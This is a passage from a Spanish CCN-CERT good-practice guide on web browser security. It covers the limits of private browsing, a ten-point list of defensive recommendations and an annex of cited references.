Es importante entender, no obstante, que este modo de trabajo no significa que el usuario no sea identificable. Algunas de las técnicas descritas en el punto anterior siguen siendo igualmente útiles en este modo de ejecución (misma dirección IP, fingerprinting, etc.). En enero de 2015, por ejemplo, un investigador de seguridad, detallaba [Ref.- 45] cómo era posible identificar usuarios incluso en el modo incógnito gracias al uso de determinados flags HSTS. Del mismo modo, el modo privado tampoco elimina numerosas evidencias de navegación en disco ni memoria. Con la ayuda de herramientas forenses podrían obtenerse los datos de la sesión/sesiones utilizados por el usuario. La siguiente imagen procede del paper “Analysis of Privacy of Private Browsing Mode through Memory Forensics” [Ref.- 46] publicado en diciembre de 2015. El cuadro recoge las evidencias que pudieron ser adquiridas a partir de un volcado de memoria después de cerrar el navegador en modo incógnito. Figura 40. Evidencias Memoria (Modo privado)

37 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

7. DECÁLOGO DE RECOMENDACIONES Decálogo de seguridad para la navegación web 1

Utilícese siempre un navegador actualizado. Los principales navegadores de hoy en día se actualizan automáticamente bien de forma transparente al usuario o mediante notificaciones que deberán ser aprobadas. Las actualizaciones automáticas del sistema operativo deberán también estar habilitadas.

2

Compruébese que los plugins y extensiones están configurados para actualizarse automáticamente. Asimismo, asegúrese que la instalación de estos complementos se realiza desde fuentes fiables.

3

Se aconseja deshabilitar de forma predeterminada plugins como Adobe Flash y Java. El usuario podrá habilitar los mismos bajo demanda para aquellos servicios conocidos y que sean de confianza. Mecanismos como click-to-play o el uso de determinadas extensiones permiten facilitar esta tarea. Asimismo, se recomienda deshabilitar JavaScript para navegar por páginas web desconocidas. Para agilizar esta configuración pueden utilizarse extensiones que permiten aplicar políticas de contenido para habilitar y deshabilitar lenguajes de scripting.

4

Se aconseja revisar las opciones de seguridad y privacidad del navegador. Actualmente los navegadores disponen de medidas tan interesantes como: no aceptar cookies de terceros, bloquear pop-ups, evitar la sincronización de contraseñas, evitar el autocompletado, borrar los ficheros temporales y cookies al cerrar el navegador, bloquear la geolocalización, filtrar ActiveX, etc.

5

Se recomienda hacer uso de HTTPS (SSL/TLS) frente a HTTP incluso para aquellos servicios que no manejen información sensible. Algunas funcionalidades como HSTS y extensiones como HTTPS Everywhere servirán de gran ayuda para garantizar el uso preferente de HTTPS sobre HTTP durante la navegación web.

6

Se recomienda proteger el navegador y los plugins con soluciones anti-exploit para mitigar posibles ataques derivados de exploits. En algunos casos, este tipo de herramientas podrán proteger al usuario frente a 0-days. Esta solución no debe verse como un sustituto al antivirus sino como una capa de seguridad adicional.

7

Se recomienda no almacenar contraseñas de forma predeterminada por medio del navegador y utilizar herramientas más seguras para dicha gestión (por ejemplo, gestores de contraseñas que implementen un sistema de cifrado robusto). En el caso de que se decida utilizar el navegador es importante hacer uso de una llave maestra que cifre el repositorio de credenciales.

8

Es importante verificar que los certificados remitidos por servicios HTTPS que manejen información sensible (por ejemplo, servicios de correo, banca electrónica, etc.) han sido remitidos por una CA de confianza. Cualquier error o alerta generada por el navegador como consecuencia de la validación del certificado (por ejemplo, certificados autofirmados) deberá revisarse cuidadosamente.

9

Para mejorar la seguridad frente a ataques de tipo Man in the Middle se recomienda el uso de políticas de "Certificate Pinning".

10

Valórese el uso de extensiones o complementos adicionales que implementen funcionalidades no contempladas por el navegador. Por ejemplo, aquellas que mejoran la privacidad durante la navegación o que bloquean en la medida de lo posible anuncios, banners publicitarios y determinadas técnicas de seguimiento utilizadas por terceros.

38 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

8. ANEXO A. REFERENCIAS [Ref – 1]

[Ref – 2]

[Ref – 3]

[Ref – 4]

[Ref – 5]

[Ref – 6]

[Ref – 7]

[Ref – 8]

[Ref – 9]

[Ref – 10]

[Ref – 11]

[Ref – 12]

[Ref – 13]

[Ref – 14]

Pwn2Own 2016 ZerodayInitiative http://zerodayinitiative.com/Pwn2Own2016Rules.html Trustwave SpiderLabs Blog 9 de junio de 2016 https://www.trustwave.com/Resources/SpiderLabs-Blog/Zero-Day-Auction-for-the-Masses/ W3C Document Object Model (DOM) Technical Reports https://www.w3.org/DOM/DOMTR IANA Message Headers https://www.iana.org/assignments/message-headers/message-headers.xhtml OWASP Secure Headers Project https://www.owasp.org/index.php/OWASP_Secure_Headers_Project HSTS Preload https://hstspreload.appspot.com/ EFF HTTPS-Everywhere https://www.eff.org/HTTPS-EVERYWHERE Berkeley Secure Content Sniffing for Web Browsers, or How to Stop Papers from Reviewing Themselves http://webblaze.cs.berkeley.edu/papers/barth-caballero-song.pdf BeEF Project Exploiting with BeEF Bind shellcode 19 de marzo de 2014 http://blog.beefproject.com/2014/03/exploiting-with-beef-bind-shellcode_19.html BlackHat 2016 Bypassing Browser Security Policies For Fun And Profit https://www.blackhat.com/docs/asia-16/materials/asia-16-Baloch-Bypassing-Browser-SecurityPolicies-For-Fun-And-Profit-wp.pdf Chromium The road to safer, more stable, and flashier Flash 8 de agosto de 2012 https://blog.chromium.org/2012/08/the-road-to-safer-more-stable-and.html ARStechnica NoScript and other popular Firefox add-ons open millions to new attack 6 de abril de 2016 http://arstechnica.com/security/2016/04/noscript-and-other-popular-firefox-add-ons-openmillions-to-new-attack/ Cisco blog Threat Spotlight: Angler Lurking in the Domain Shadows 3 de Marzo de 2016 http://blogs.cisco.com/security/talos/angler-domain-shadowing#shadowing CCN-CERT Informe de buenas prácticas en el correo electrónico Julio de 2016

39 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

https://www.ccn-cert.cni.es/informes/informes-de-buenas-practicas-bp/1598-ccn-cert-bp-02-16correo-electronico/file.html

[Ref – 15]

[Ref – 16]

[Ref – 17]

[Ref – 18]

[Ref – 19]

[Ref – 20]

[Ref – 21]

[Ref – 22]

[Ref – 23]

[Ref – 24]

[Ref – 25]

[Ref – 26]

[Ref – 27]

TrendMicro Exploit-kit http://www.trendmicro.com/vinfo/us/security/definition/exploit-kit Github BeefProject https://github.com/beefproject/beef Rapid7 The New Metasploit Browser Autopwn: Strikes Faster and Smarter 30 de junio de 2015 https://community.rapid7.com/community/metasploit/blog/2015/07/15/the-new-metasploitbrowser-autopwn-strikes-faster-and-smarter--part-1 Offensive Security Kali NetHunter 3.0 Released 6 de enero de 2016 https://www.offensive-security.com/kali-nethunter/nethunter-3-0-released/ Cert PL Large-scale DNS redirection on home routers for financial theft 6 de febrero de 2014 https://www.cert.pl/en/news/single/large-scale-dns-redirection-on-home-routers-for-financialtheft/ Bishop Fox An Overview of BGP Hijacking 17 de agosto de 2015 https://www.bishopfox.com/blog/2015/08/an-overview-of-bgp-hijacking/ isc2 blog Security breach in CA networks 4 de abril de 2012 http://blog.isc2.org/isc2_blog/2012/04/test.html BlackHat Asia 2014 Exploiting DNS servers changes http://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014 Adobe Introducing Adobe Flash Player Background Updater for Windows http://www.adobe.com/devnet/flashplayer/articles/background-updater-windows.html CVE Details Java: Security Vulnerabilities https://www.cvedetails.com/vulnerability-list/vendor_id-93/product_id-19117/Oracle-JRE.html HowToGeek How to Enable Click-to-Play Plugins in Every Web Browser 7 de noviembre de 2015 http://www.howtogeek.com/188059/how-to-enable-click-to-play-plugins-in-every-web-browser/ Microsoft EMET https://support.microsoft.com/en-us/kb/2458544 MalwareBytes Anti-Exploit https://es.malwarebytes.com/antiexploit/

40 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

[Ref – 28]

[Ref – 29]

[Ref – 30]

[Ref – 31]

[Ref – 32]

[Ref – 33]

[Ref – 34]

[Ref – 35]

[Ref – 36]

[Ref – 37]

[Ref – 38]

[Ref – 39]

[Ref – 40]

[Ref – 41]

Buenas Prácticas en navegadores web

EFF HTTPS Everywhere Rulesets https://www.eff.org/https-everywhere/rulesets EFF HTTPS Everywhere Atlas https://www.eff.org/https-everywhere/atlas/ Mozilla Self-Destructing Cookies https://addons.mozilla.org/en-US/firefox/addon/self-destructing-cookies/ Samy Kamkar Evercookie 11 de octubre de 2010 http://samy.pl/evercookie/ RaiderSec How Browsers Store Your Passwords (and Why You Shouldn't Let Them) 20 de junio de 2013 https://raidersec.blogspot.com.es/2013/06/how-browsers-store-your-passwords-and.html Engadget Finding passwords saved in Chrome is surprisingly easy, Google security lead sees no issue 8 de julio de 2013 https://www.engadget.com/2013/08/07/chrome-saved-passwords/ Wired You need a password manager 24 de enero de 2016 https://www.wired.com/2016/01/You-need-a-password-manager/ Detectify How I made LastPass give me all your passwords 27 de julio de 2016 https://labs.detectify.com/2016/07/27/how-i-made-lastpass-give-me-all-your-passwords/ Trendmicro DigiNotar: Iranians – The Real Target 5 de septiembre de 2011 http://blog.trendmicro.com/trendlabs-security-intelligence/diginotar-iranians-the-real-target/ OWASP Certificate and Public Key Pinning https://www.owasp.org/index.php/Certificate_and_Public_Key_Pinning The Chromium Projects Technical analysis of client identification mechanisms http://www.chromium.org/Home/chromium-security/client-identification-mechanisms Mozilla Random Agent Spoofer https://addons.mozilla.org/en-US/firefox/addon/random-agent-spoofer/ Wikipedia Do Not Track https://en.wikipedia.org/wiki/Do_Not_Track Disconnect Disconnect: A faster, safer Internet is one click away https://disconnect.me/

41 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

[Ref – 42]

[Ref – 43]

[Ref – 44]

[Ref – 45]

[Ref – 46]

Buenas Prácticas en navegadores web

EFF Privacy Badger https://www.eff.org/privacybadger Github Decentraleyes https://github.com/Synzvato/decentraleyes Github uBlock https://github.com/gorhill/uBlock/ Radical Research HSTS Super Cookies 2 de enero de 2015 http://www.radicalresearch.co.uk/lab/hstssupercookies Ijcaonline Analysis of Privacy of Private Browsing Mode through Memory Forensics Diciembre de 2015 http://www.ijcaonline.org/research/volume132/number16/ghafarian-2015-ijca-907693.pdf

42 SIN CLASIFICAR